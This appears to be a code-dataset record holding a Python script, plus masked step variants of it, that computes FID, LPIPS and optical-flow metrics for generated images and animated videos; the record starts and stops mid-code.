animated_frames_by_i[i].append(fr)
cur_real_frame = None
cur_real_segm_proba = None
for frname, (fr, segm) in real_frames_with_segm.items():
if vname.startswith(frname):
cur_real_frame = fr
cur_real_segm_proba = segm
break
assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()
)
movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,
keepdim=True)[0]
immovable_scores = cur_real_segm_proba[:, [c for c in range(
cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(
1, keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames,
shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],
cur_real_frame))
lpips = []
for l in range(0, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -
shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))
cur_metrics['lpips_anim'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
print('Calculating FID...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_real_means, fid_real_std = _compute_statistics_of_images(
real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
for i, cur_gen_frames in animated_frames_by_i.items():
if i % args.skipframe != 0:
continue
cur_fid_means, cur_fid_std = _compute_statistics_of_images(
cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,
fid_real_std, cur_fid_means, cur_fid_std))
all_metrics.append(fid)
all_metrics_idx.append('global_metrics')
os.makedirs(os.path.dirname(args.outpath), exist_ok=True)
sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)
sum_metrics.to_csv(args.outpath, sep='\t')
if __name__ == '__main__':
import argparse
aparser = argparse.ArgumentParser()
aparser.add_argument('--outpath', type=str, default=
'results/metrics.csv', help='Path to file to write metrics to')
aparser.add_argument('--gen-images', type=str, default=
'results/generated/256/images', help='Path to generated images')
aparser.add_argument('--gt-images', type=str, default=
'results/gt_images', help='Path to gt-images')
aparser.add_argument('--gen-videos', type=str, default=
'results/generated/256/noise', help=
'Path to generated videos (separate folder with frames for each video)'
)
aparser.add_argument('--animated-images', type=str, default=
'results/encode_and_animate_results/test_images/02_eoif', help=
'Path to animated images (separate folder with frames for each video)')
aparser.add_argument('--real-images', type=str, default=
'results/test_images', help='Path to real input images')
aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',
help='Template to generate frame file names')
aparser.add_argument('--resolution', type=int, default=256, help=
'Resolution of generated frames')
aparser.add_argument('--skipframe', type=int, default=10, help=
'How many frames to skip before evaluating FID')
aparser.add_argument('--batch', type=int, default=69, help=
'Batch size for FID and LPIPS calculation')
aparser.add_argument('--segm-network', type=str, default=os.path.join(
constants.RESULT_DIR,
'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=
'Path to ade20k-resnet50dilated-ppm_deepsup')
aparser.add_argument('--flow-network', type=str, default=os.path.join(
constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=
'Path to SuperSloMo.ckpt')
aparser.add_argument('--lpips-network', type=str, default=os.path.join(
constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),
help='Path to vgg.pth')
main(aparser.parse_args())
<|reserved_special_token_1|>
#!/usr/bin/env python3
import collections
import glob
import os
import pandas as pd
import numpy as np
import torch.nn.functional as F
import PIL.Image as Image
from inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params
from inference.metrics.fid.fid_score import _compute_statistics_of_images, \
calculate_frechet_distance
from inference.metrics.fid.inception import InceptionV3
from inference.metrics.lpips import LPIPSLossWrapper
from inference.perspective import load_video_frames_from_folder, FlowPredictor
from inference.segmentation import SegmentationModule
from inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts
from inference.metrics.ssim import SSIM
import constants
MOVABLE_CLASSES = [2, 21]
def calc_optical_flow_metrics(flow_predictor, frames, movable_mask):
if not movable_mask.any():
return dict(flow_l2=float('nan'))
assert not (frames < 0).any() and not (frames > 1).any()
flows = flow_predictor.predict_flow(frames * 2 - 1)[1]
flows_x, flows_y = flows[:, [0]], flows[:, [1]]
flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean())
flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean())
result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)
return result
def batch2pil(batch):
np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu().numpy().astype('uint8')
return [Image.fromarray(ar) for ar in np_batch]
def main(args):
segmentation_network = SegmentationModule(os.path.expandvars(args.segm_network)).cuda()
segmentation_network.eval()
lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()
flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))
all_metrics = []
all_metrics_idx = []
# load generated images
gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gen_images), '*.jpg')))
gen_frames_as_img = []
for fname in gen_frame_paths:
frame = Image.open(fname).convert('RGB')
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
frame_img = batch2pil(frame_batch)[0]
gen_frames_as_img.append(frame_img)
# load gt-images, scale, crop and segment
gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gt_images), '*.jpg')))
gt_frames_as_img = []
for fname in gt_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:])
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
gt_frames_as_img.append(frame_img)
# compute FID between generated images and gt
print('Calculating FID for images...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img, fid_model,
batch_size=args.batch,
dims=2048, cuda=True, keep_size=False)
fid_gen_means, fid_gen_std = _compute_statistics_of_images(gen_frames_as_img, fid_model,
batch_size=args.batch,
dims=2048, cuda=True, keep_size=False)
fid = dict()
fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means, fid_gt_std, fid_gen_means, fid_gen_std))
# load generated videos
for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
# get mask from the first frame
cur_segm_scores = segmentation_network.predict(frames[:1].cuda(), imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0]
immovable_scores = cur_segm_proba[:, [c for c in range(cur_segm_proba.shape[1])
if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
lpips = []
for l in range(1, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), frames[0].cuda() * (1 - shift_mask))))
cur_metrics['lpips_gen'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
# load real images, from which the videos were generated, scale, crop and segment
real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.real_images), '*.jpg')))
real_frames_as_img = []
real_frames_with_segm = {}
for fname in real_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
# check the interval of stored numbers: 0..1 || -1..1 || 0..255
frame_batch = image2batch(frame).cuda()
frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max() - frame_batch.min())
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:])
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
real_frames_as_img.append(frame_img)
cur_segm_scores = segmentation_network.predict(frame_batch, imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
f_id = os.path.splitext(os.path.basename(fname))[0]
real_frames_with_segm[f_id] = (frame_batch, cur_segm_proba)
# load videos -- animated real images
animated_frames_by_i = collections.defaultdict(list)
for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
for i, fr in enumerate(batch2pil(frames)):
animated_frames_by_i[i].append(fr)
cur_real_frame = None
cur_real_segm_proba = None
for frname, (fr, segm) in real_frames_with_segm.items():
if vname.startswith(frname):
cur_real_frame = fr
cur_real_segm_proba = segm
break
assert cur_real_frame is not None, (vname, real_frames_with_segm.keys())
movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0]
immovable_scores = cur_real_segm_proba[:, [c for c in range(cur_real_segm_proba.shape[1])
if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1], cur_real_frame))
lpips = []
for l in range(0, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))
cur_metrics['lpips_anim'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
print('Calculating FID...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_real_means, fid_real_std = _compute_statistics_of_images(real_frames_as_img, fid_model,
batch_size=args.batch,
dims=2048, cuda=True, keep_size=False)
for i, cur_gen_frames in animated_frames_by_i.items():
if i % args.skipframe != 0:
continue
cur_fid_means, cur_fid_std = _compute_statistics_of_images(cur_gen_frames, fid_model,
batch_size=args.batch,
dims=2048, cuda=True, keep_size=False)
fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means, fid_real_std,
cur_fid_means, cur_fid_std))
all_metrics.append(fid)
all_metrics_idx.append('global_metrics')
os.makedirs(os.path.dirname(args.outpath), exist_ok=True)
sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)
sum_metrics.to_csv(args.outpath, sep='\t')
if __name__ == '__main__':
import argparse
aparser = argparse.ArgumentParser()
aparser.add_argument('--outpath', type=str, default='results/metrics.csv', help='Path to file to write metrics to')
aparser.add_argument('--gen-images', type=str, default='results/generated/256/images', help='Path to generated images')
aparser.add_argument('--gt-images', type=str, default='results/gt_images', help='Path to gt-images')
aparser.add_argument('--gen-videos', type=str, default='results/generated/256/noise',
help='Path to generated videos (separate folder with frames for each video)')
aparser.add_argument('--animated-images', type=str,
default='results/encode_and_animate_results/test_images/02_eoif',
help='Path to animated images (separate folder with frames for each video)')
aparser.add_argument('--real-images', type=str, default='results/test_images', help='Path to real input images')
aparser.add_argument('--frametemplate', type=str,
default='{:05}.jpg',
help='Template to generate frame file names')
aparser.add_argument('--resolution', type=int, default=256, help='Resolution of generated frames')
aparser.add_argument('--skipframe', type=int, default=10, help='How many frames to skip before evaluating FID')
aparser.add_argument('--batch', type=int, default=69, help='Batch size for FID and LPIPS calculation')
aparser.add_argument('--segm-network', type=str,
default=os.path.join(constants.RESULT_DIR, 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'),
help='Path to ade20k-resnet50dilated-ppm_deepsup')
aparser.add_argument('--flow-network', type=str,
default=os.path.join(constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'),
help='Path to SuperSloMo.ckpt')
aparser.add_argument('--lpips-network', type=str,
default=os.path.join(constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),
help='Path to vgg.pth')
main(aparser.parse_args())
|
flexible
|
{
"blob_id": "f6846bfc6c4d803cedaf37e079e01188733938c7",
"index": 8249,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()\n )\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()\n )\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(\n ).numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.\n segm_network)).cuda()\n segmentation_network.eval()\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n all_metrics = []\n all_metrics_idx = []\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,\n fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False\n )\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(\n gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,\n fid_gt_std, fid_gen_means, fid_gen_std))\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True\n )[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(\n cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,\n keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(\n ) - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n cur_segm_scores = segmentation_network.predict(frame_batch,\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = frame_batch, cur_segm_proba\n animated_frames_by_i = collections.defaultdict(list)\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()\n )\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,\n keepdim=True)[0]\n immovable_scores = cur_real_segm_proba[:, [c for c in range(\n cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(\n 1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],\n cur_real_frame))\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(\n real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(\n cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,\n fid_real_std, cur_fid_means, cur_fid_std))\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default=\n 'results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default=\n 'results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default=\n 'results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default=\n 'results/generated/256/noise', help=\n 'Path to generated videos (separate folder with frames for each video)'\n )\n aparser.add_argument('--animated-images', type=str, default=\n 'results/encode_and_animate_results/test_images/02_eoif', help=\n 'Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default=\n 'results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help=\n 'Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help=\n 'How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help=\n 'Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str, default=os.path.join(\n constants.RESULT_DIR,\n 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=\n 'Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=\n 'Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n main(aparser.parse_args())\n",
"step-3": "<mask token>\nMOVABLE_CLASSES = [2, 21]\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()\n )\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()\n )\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(\n ).numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.\n segm_network)).cuda()\n segmentation_network.eval()\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n all_metrics = []\n all_metrics_idx = []\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,\n fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False\n )\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(\n gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,\n fid_gt_std, fid_gen_means, fid_gen_std))\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True\n )[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(\n cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,\n keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(\n ) - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n cur_segm_scores = segmentation_network.predict(frame_batch,\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = frame_batch, cur_segm_proba\n animated_frames_by_i = collections.defaultdict(list)\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()\n )\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,\n keepdim=True)[0]\n immovable_scores = 